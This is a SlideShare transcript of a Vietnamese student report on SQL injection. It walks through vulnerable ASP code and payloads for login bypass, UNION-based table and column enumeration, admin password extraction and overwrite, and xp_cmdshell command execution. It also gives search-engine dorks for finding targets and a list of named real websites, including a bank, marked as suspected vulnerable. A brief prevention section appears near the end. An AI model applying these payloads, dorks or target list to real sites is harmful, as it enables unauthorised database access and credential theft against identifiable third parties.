Your SlideShare is downloading. ×
  • Like
Sql injection bao cao it-slideshares.blogspot.com
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×

Now you can save presentations on your phone or tablet

Available for both IPhone and Android

Text the download link to your phone

Standard text messaging rates apply

Sql injection bao cao it-slideshares.blogspot.com

  • 13,041 views
Published

more from http://it-slideshares.blogspot.com and japanese-zen-garden.blogspot.com

more from http://it-slideshares.blogspot.com and japanese-zen-garden.blogspot.com

Published in Education
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Be the first to comment
    Be the first to like this
No Downloads

Views

Total Views
13,041
On SlideShare
0
From Embeds
0
Number of Embeds
0

Actions

Shares
Downloads
2,360
Comments
0
Likes
0

Embeds 0

No embeds

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
    No notes for slide

Transcript

  • 1. Giáo Viên hướng dẫn: Phạm Văn Tính Thành Viên: Lâm Thế Diễn Trịnh Thái Long Hứa Văn Hiếu Nguyễn Minh Thành.
  • 2.
    • Nội dung trình bày:
      • SQL Injection là gì?
      • Các dạng tấn công bằng SQL Injection
      • Kỹ Thuật tấn công bằng sql injection
      • Cách phòng tránh
      • Demo
  • 3. SQL Injection là gì?
    • SQL injection là một kĩ thuật tấn công lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu để "tiêm vào" (inject) và thi hành các câu lệnh SQL bất hợp pháp.
    • Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể thực hiện các thao tác xóa, hiệu chỉnh,  do có toàn quyền trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy.
    • Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase.
  • 4. Các dạng tấn công bằng SQL Injection
    • Có bốn dạng thông thường bao gồm:
      • vượt qua kiểm tra lúc đăng nhập (authorization bypass)
      • sử dụng câu lện SELECT
      • sử dụng câu lệnh INSERT
      • sử dụng các stored-procedures [2], [3]
  • 5. Dạng tấn công vượt qua kiểm tra đăng nhập
    • Đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web.
    • Thông thường để cho phép người dùng truy cập vào các trang web được bảo mật, hệ thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin về tên đăng nhập và mật khẩu.
    • Trong trường hợp này, người ta có thể dùng hai trang, một trang HTML để hiển thị form nhập liệu và một trang ASP dùng để xử lí thông tin nhập từ phía người dùng. Ví dụ:
  • 6. Login.htm
    • <form action=&quot;ExecLogin.asp&quot; method=&quot;post&quot;>
    • Username: <input type=&quot;text&quot; name=&quot;fUSERNAME&quot;><br>
    • Password: <input type=&quot;password&quot; name=&quot;fPASSWORD&quot;><br>
    • <input type=&quot;submit&quot;>
    • </form>
  • 7.
    • execlogin.asp
    • <%
    • Dim vUsrName, vPassword, objRS, strSQL vUsrName = Request.Form(&quot;fUSRNAME&quot;) vPassword = Request.Form(&quot;fPASSWORD&quot;)
    • strSQL = &quot;SELECT * FROM T_USERS &quot; & _ &quot;WHERE USR_NAME=' &quot; & vUsrName & _
    • &quot; ' and USR_PASSWORD=' &quot; & vPassword & &quot; ' “
    • Set objRS = Server.CreateObject(&quot;ADODB.Recordset&quot;) objRS.Open strSQL, &quot;DSN=...&quot;
    • If (objRS.EOF) Then
    • Response.Write &quot;Invalid login.&quot;
    • Else
    • Response.Write &quot;You are logged in as &quot; & objRS(&quot;USR_NAME&quot;)
    • End If
    • Set objRS = Nothing %>
  • 8.
    • Bạn nghĩ nếu viết như thế đã an toàn chưa?
    • Người dùng nhập chuỗi sau vào trong cả 2 ô nhập liệu username/password của trang login.htm là: ' OR ' ' = ' .
    • Lúc này, câu truy vấn sẽ được gọi thực hiện là: SELECT * FROM T_USERS WHERE USR_NAME ='' OR ''='' and USR_PASSWORD= '' OR ''=''
    • Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của T_USERS và đoạn mã tiếp theo xử lí người dùng đăng nhập bất hợp pháp này như là người dùng đăng nhập hợp lệ.
  • 9.  
  • 10.  
  • 11. Dạng tấn công sử dụng câu lệnh SELECT
    • Để thực hiện được kiểu tấn công này, kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn công.
    • Thông thường, sẽ có một trang nhận ID của tin cần hiển thị rồi sau đó truy vấn nội dung của tin có ID này.
  • 12.
    • <%
    • Dim vNewsID, objRS, strSQL
    • vNewsID = Request(&quot;ID&quot;)
    • strSQL = &quot;SELECT * FROM T_NEWS WHERE NEWS_ID =&quot; & vNewsID
    • Set objRS = Server.CreateObject(&quot;ADODB.Recordset&quot;) objRS.Open strSQL, &quot;DSN=...&quot;
    • Set objRS = Nothing
    • %>
  • 13.
    • Thông thường, đoạn mã này hiển thị nội dung của tin có ID trùng với ID đã chỉ định và hầu như không thấy có lỗi.
    • Tuy nhiên, nếu thay thế một ID hợp lệ bằng cách gán ID cho một giá trị khác ví dụ như: 0 OR 1=1
    • Câu truy vấn SQL lúc này sẽ trả về tất cả các article từ bảng dữ liệu vì nó sẽ thực hiện câu lệnh:
    • SELECT * FROM T_NEWS WHERE NEWS_ID=0 or 1=1
  • 14.
    • Hoặc là chúng ta có thể thêm câu lệnh sau: ' UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' ' = ' (*)
    • Lúc này, ngoài câu truy vấn đầu không thành công, chương trình sẽ thực hiện thêm lệnh tiếp theo sau từ khóa UNION nữa.
    • Nếu chúng ta thêm ' UNION SELECT name FROM sysobjects WHERE xtype = 'U' là có thể liệt kê được tên tất cả các bảng dữ liệu.
  • 15. Dạng tấn công sử dụng câu lệnh INSERT
    • Chức năng không thể thiếu là sau khi đăng kí thành công, người dùng có thể xem và hiệu chỉnh thông tin của mình. SQL injection có thể được dùng khi hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào.
    • Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng: INSERT INTO TableName VALUES('Value One', 'Value Two', 'Value Three'). Nếu đoạn mã xây dựng câu lệnh SQL có dạng :
  • 16. Dạng tấn công sử dụng câu lệnh INSERT(tt)
    • <%
    • strSQL = &quot;INSERT INTO TableName VALUES(' &quot; & strValueOne & &quot; ', ' &quot; _ & strValueTwo & &quot; ', ' &quot; & strValueThree & &quot; ') “
    • Set objRS = Server.CreateObject(&quot;ADODB.Recordset&quot;) objRS.Open strSQL, &quot;DSN=...&quot;
    • Set objRS = Nothing
    • %>
  • 17. Dạng tấn công sử dụng stored-procedures
    • Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng dụng được thực thi với quyền quản trị hệ thống 'sa' .
    • Ví dụ, nếu ta thay đoạn mã tiêm vào dạng: ' ; EXEC xp_cmdshell 'cmd.exe dir C: '.
    • Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C: cài đặt server. Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe.
  • 18. Kỹ Thuật tấn công bằng sql injection
    • Bước 1: Tìm kiếm mục tiêu.
    • Bước 2: Kiểm tra chỗ yếu của trang web
    • Bước 3: Nhận data qua ‘database using ODBC error message’
    • Bước 4: Xác định tên của các column trong table
    • Bước 5: Thu thập các dữ liệu quan trọng.
    • Bước 6: Xử lý kết quả tìm được
  • 19. Tìm kiếm mục tiêu
    • Bạn có thể dùng các bất kỳ một search-engine nào trên mạng như các trang login, search, feedback…
    • Bạn có thể “custome Search Engine” lại cho phù hợp với yêu cầu của bạn.
    • Một số trang web chuyển tham số qua các field ẩn, bạn phải xem mã html mới thấy rõ.
      • <FORM action= Search/search.asp method= post>
      • <input type=hidden name=A value=c>
      • </FORM>
  • 20.
    • Thực hiện câu lệnh search:
    • inurl:php?id= site:com.vn
    • inurl:php?sid=site:com
    • inurl:asp?id=site:co.uk
  • 21.
    • Đây là kết quả thu được
  • 22. Các Trang Web nằm trong nhóm tình nghi
    • http://www.vsmc.com.vn/news_detail.php?id=19'
    • http://www.toeic.com.vn/info/details.php?id=383'
    • http://www.phanhoadigi.com.vn/list_product.php?ID=1173&namecate=EOS'
    • http://forum.key.com.vn/viewtopic.php?id=362
    • http://www.biconsi.com.vn/index.php?id=36'
    • http://www.vietphone.com.vn/download.php?mode=download&id=19'
    • http://thammyvienthanhbinh.com.vn/detail.php?id=19'
    • http://www.voip.com.vn/download.php?mode=download&id=28'
    • http://bidv.com.vn/advert.asp?id=36'
    • http://www.licogi.com.vn/home.asp?ID=234&Langid=2%27’
    • http://www.galilcol.ac.il/page.asp?id=17’
    • Ghi chú: không phải trang nào cũng tấn công được
  • 23. Kiểm tra chỗ yếu của trang web
    • Bạn có thể điền thêm một số lệnh trên url, hoặc trên các from login, search, hoặc search để phát hiện lỗi.
    • Sau đây là một số cách thêm và phát hiện lỗi của nhóm mình:
  • 24.  
  • 25.  
  • 26.  
  • 27. Nhận data qua ‘database using ODBC error message’
    • Đây là bước quan trọng nhất và đòi hỏi nhiều kĩ thuật lẫn sự am hiểu về cơ sở dữ liệu.
    • Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Bạn có thể khai thác như sau:
    • http://vitcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SHEMA.COLUMNS WHERE TABLE_NAME=‘admin_login’--
  • 28. Out put:
    • Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
    • /index.asp, line 5
  • 29. Thu thập các dữ liệu quan trọng
    • Chúng ta phải xác định được các tên của các table và column quan trọng.
    • Chúng ta có thể lấy login_name đầu tiên trong table “admin_login” như sau: http://vitcon/index.asp?id=10 UNION SELECT TOP 1 login_name From admin_login—
    • Bạn dễ dàng nhận ra được admin user đầu tiên có login_name là ‘aaa’.
  • 30. Thu thập các dữ liệu quan trọng(tt)
    • Sau đó dung tên user tìm được để tìm password:
    • http://vitcon/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login _name=‘aaa’—
    • Bây giờ bạn sẽ nhận được password của ‘aaa’ là ‘bbb’.
  • 31. Xử lý kết quả tìm được
    • Khi bạn đã có tên của tất cả các column trong table, bạn có thể UPDATE hoặc INSERT một record mới vào table này.
    • Để thay đổi password của ‘aaa’ bạn có thể làm như sau:http://vitcon/index.asp?id=10 ;UPDATE ‘admin_login’ SET ‘password’ =‘ccc’ WHERE login_name=‘aaa’–
    • Hoặc bạn login trực tiếp vào và thực hiện dưới quyền user đó.
  • 32. Cách phòng tránh
    • Cần có cơ chế kiểm soát chặt chẽ và giới hạn quyền xử lí dữ liệu đến tài khoản người dùng mà ứng dụng web đang sử dụng.
    • Các ứng dụng thông thường nên tránh dùng đến các quyền như dbo hay sa. Quyền càng bị hạn chế, thiệt hại càng ít.
    • Loại bỏ bất kì thông tin kĩ thuật nào chứa trong thông điệp chuyển xuống cho người dùng khi ứng dụng có lỗi.
    • Các thông báo lỗi thông thường tiết lộ các chi tiết kĩ thuật có thể cho phép kẻ tấn công biết được điểm yếu của hệ thống.
  • 33. DEMO
    • Phát hiện một trang web bị lỗi SQL Injection. Mục tiêu của nhóm dùng các kĩ thuật tấn công SQL Injection tấn công vào cơ sở dữ liệu và lấy ra được Username password của một thành viên trang web đó.Và thực hiện đăng nhập thành công dưới quyền User đó.
  • 34.  
  • 35.  
  • 36.  
  • 37.  
  • 38.  
  • 39.  
  • 40.  
  • 41.  
  • 42.  
  • 43.  
  • 44.  
  • 45.  
  • 46.  
  • 47.  
  • 48.  
  • 49.  
  • 50. Cảm Ơn Thầy và các Bạn đã lắng nghe!